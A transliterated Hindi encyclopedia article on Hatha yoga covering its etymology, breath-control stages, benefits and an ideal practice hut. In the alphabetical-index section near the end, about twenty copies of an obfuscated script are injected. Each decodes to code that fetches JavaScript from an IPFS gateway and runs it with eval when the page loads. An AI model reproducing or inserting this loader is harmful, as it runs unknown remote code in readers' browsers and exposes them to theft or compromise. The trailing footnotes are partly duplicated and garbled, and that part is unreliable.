हठयोग

hathayog sharirik aur manasik vikas ke lie vishv ki prachinatam bharatiy yog sadhana paddhati hai, jisaka shatabdiyoan se bharat ke yogiyoan dvara abhyas kiya jata raha hai. yah chittavrittiyoan ke pravah ko sansar ki or jane se rokakar aantarmukhi karane ki prachin sadhana paddhati hai. isamean prasupt kuandalini ko jagrat kar na di marg se oopar uthane ka prayas kiya jata hai aur vibhinn chakroan mean sthir karate hue use shirshasth sahastrar chakr tak le jaya jata hai. 'hathayog pradipika' is paddhati ka pramukh granth hai.

sankshipt parichay

'hathayog' ke vishay mean dharana hai ki hath shabd ke 'hathh' + 'achh' pratyay ke sath 'prachandata' ya 'bal' arth mean prayukt hota hai. hathen ya hathath kriya-visheshan ke roop mean prayukt karane par isaka arth balapoorvak ya prachandata poorvak, achanak ya duragrahapoorvak arth mean liya jata hai. 'hath vidya' striliang arth mean 'balapoorvak manan karane' ke vijnan ke arth mean grahan kiya jata hai. is prakar samanyatah log hathayog ko ek aise yog ke roop mean janate haian, jisamean hath poorvak kuchh sharirik evan manasik kriyaean ki jatian haian. isi karan samany sharir shodhan ki prakriyaoan se hatakar ki jane vali sharir shodhan ki shath kriyaoan^[1] ko hathayog man liya jata hai. jabaki aisa nahian hai. shatakarm to keval sharir shodhan ke sadhan haian, vastav mean hathayog to sharir evan man ke santulan dvara rajayog prapt karane ke poorv sopan ke roop mean vistrit yog vijnan ki char shakhaoan mean se ek shakha hai.

shabd rachana

'hath' shabd ki rachana 'h' aur 'th' do rahasyamay evan pratikatmak aksharoan se huee hai. 'h' ka arth 'soory' aur 'th' ka arth 'chandr' hai. yog ka arth in donoan ka sanyojan ya ekikaran hai. soory tatha chandr ke ekikaran ya sanyojaj ka madhyam hathayog hai. pran (pramukh jivani shakti) hi soory hai. hriday ke madhyam se yah kriyashil hokar shvasan tatha rakt ke sanchar ka kary sanpadit karata hai. 'apan' hi chandr hai, jo sharir se ashuddhiyoan ke utsarjan aur nishkasan ka kary sanpadit karane vali sookshm jivani shakti hai. soory tatha chandr (h evan th) manav sharir ke do dhruvoan ke pratik haian. jivan ki sari kriyaoan aur gatividhiyoan ko banae rakhane mean in do jivani shaktiyoan ka parasparik samanjasy avashyak hai. ye manav sharir ke madhyam se karyarat sarvabhaumik shakti ka pratinidhitv karati haian. manav hriday mean sthit pran (jivani shakti) hi grah, nakshatr, soory-chandr ki gati ko niyantrit karata hai tatha vayu, vidyut, chumbakatv, prakash, ooshma, rediyo-tarang ityadi shaktiyoan mean abhivyakt hota hai.^[2]

kriya ki poornata

sthool roop se hathayog athava pranayam kriya tin bhagoan mean poorn hoti hai-

rechak - arthat shvas ko saprayas bahar chho dana.
poorak - arthat shvas ko saprayas andar khianchana.
kumbhak - arthat shvas ko saprayas roke rakhana.

kumbhak do prakar se sanbhav hai-

(k) barhiahkumbhak - arthat shvas ko bahar nikalakar bahar hi roke rakhana.

(kh) antahkumbhak - arthat shvas ko andar khianchakar andar hi roke rakhana.

is prakar saprayas pranoan ko apane niyantran se gati dena hathayog hai. yah hathayog rajayog ki siddhi ke lie adharabhoomi banata hai. bina hathayog ki sadhana ke rajayog (samadhi) ki prapti b da kathin kary hai. atah hathayog ki sadhana siddh hone par rajayog ki or age badhane mean sahajata hoti hai.

mahattv

hathayog sharirik aur manasik vikas ke lie vishv ki prachinatam pranali hai, jisaka shatabdiyoan se bharat ke yogiyoan dvara abhyas kiya gaya hai. manokayik vyayamoan ki yah ek ananyatam vidhi hai. hathayog ke asan manasik prashaanti, sharirik santulan aur divy prabhav ke sath pratipadit hote haian. isase merudand lachila banata hai tatha snayu sansthan ke svasthh‍y mean vriddhi hoti hai. yogasanoan se snayuoan ke mool ka aantarik pranoan dvara poshan hota hai. at: yogasan any vyayamoan se prithakh hai.

hathayog ke niyamit abhyas se vyakti apana khoya hua svasthy aur manasik shaanti prapt kar sakata hai. atma ki gupt shaktiyoan ko udghatit kar apani sankalpashakti mean vriddhi kar sakata hai aur jivan ke sabhi kshetroan mean saphalata prapt kar atm-sakshatkar ke utkrisht shikhar par asin ho sakata hai. hathayog ke asan man evan sharir ke sookshm sanbandh ke poorn jnan par adharit ek addhabhut manosharirik vyayam pranali hai. any sabhi uchch yog, jaise- 'karmayog', 'bhaktiyog' aur 'jnanayog' ki siddhi ke lie hathayog ek sadhan hai. man aur sharir hi sare manaviy prayatnoan^[3] ka adhar hai.^[2]

siddhiyoan ka adhar

mana jata hai ki hathayog siddhiyoan ka adhar hai. darasal yah moksh ya siddh‍i tak pahuanchane ka chhota marg hai. adhikatar hathayogi hathayog ka pradarshan karate hue pae jate haian, jo kisi bhi prakar uchit nahian kaha ja sakata. jo sachamuch hi moksh ya siddhiyoan ke lie utsuk hai, vah kabhi bhi apane asanoan ya pranayam ka pradarshan nahian karega, bhoomi ke aandar samadh‍i lagakar nahian baithega. garmi se trast vyakti ko jaise ek pe d ki chhaanv ya shital kutiya ka ashray rahat deta hai, usi prakar saansarik jhanjhatoan se pi dit v trast vairagi ke lie siddh yogiyoan ne 'hathayog' ko ashray mana hai.

sadhana sthal

yadi koee grihasth ashram bhog chuka hai aur ab hathayog ki sadhana karana chahata hai to jahaan tak sanbhav ho vah shahar ke shoragul se door prakritik sanpada se bharapoor aise mahaul mean rahe, jahaan dharmik manovritti vale log hoan aur vahaan ann, jal, phal, mool adi se paripoorn vyavastha ho. is tarah ke ekaant sthan ka chayan kar vahaan ek chhoti-si kutiya ka nirman karana chahie. kutiya ke charoan or patthar, agni ya jal n ho. usake lie alag sthan niyu‍kt karean. kuti ka dvar chhota ho, divaroan mean kahian ti d ya chhed n ho, jamin mean kahian bil n ho, jisase choohe ya saanp adi ka bhay n rahe. kutiya ki jamin samatal ho, gobar se bhali prakar lipi-puti ho, kutiya ko atyant pavitr rakhean arthat vahaan ki de-mako de nahian hoan. kutiya ke bahar ek chhota-sa mandap banaean, jisake niche havan karane ke lie usamean vedi ho, jahaan chahean to dhoona jalakar rakh sakate haian. pas mean hi ek achchha kuaan ya kuandi ho, jisaki pal divaroan se ghiri ho. kuaan nahian ho to is bat ka dhyan rakhean k‍i jal lane ke lie kisi prakar ki mehanat n karani p de. siddh hathayogiyoan ne aisi hi sadhana sthali evan kuti ko abhyas ke lie uchit bataya hai.^[4]

aisi kuti mean sabhi chiantaoan se mukt hokar guru ke nirdeshanusar yog ka nirantar abhyas karane se vyakti siddhoan ke marg par a jata hai, jisaki chianta phir siddh hi karate haian. aantat: jo sadhak jis prakar ke sthan mean rahata ho, vahaan bhi yathasanbhav ekaant prapt kar abhyas mean saphalata prapt kar sakata hai, parantu hathayogiyoan ka anubhav hai ki pavitr vatavaran hi sadhana ko age badhane aur shighr saphalata prapt karane mean kafi adhik sahayak siddh hota hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ neti, dhauti, kuanjal vasti, nauli, tratak, kapalabhati
↑ ^2.0 ^2.1 hathayog kya hai (hindi) vebaduniya. abhigaman tithi: 01 julaee, 2015.
↑ adhyatmik tatha bhautik
↑ siddhi prapt karane ka sthan (hindi) vebaduniya. abhigaman tithi: 01 julaee, 2015.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ti, dhauti, kuanjal vasti, nauli, tratak, kapalabhati

[aa-2] 2.0 ^2.1 hathayog kya hai (hindi) vebaduniya. abhigaman tithi: 01 julaee, 2015.

[3] yatmik tatha bhautik

[4] siddhi prapt karane ka sthan (hindi) vebaduniya. abhigaman tithi: 01 julaee, 2015.

[1]

[2]

[3]

[4]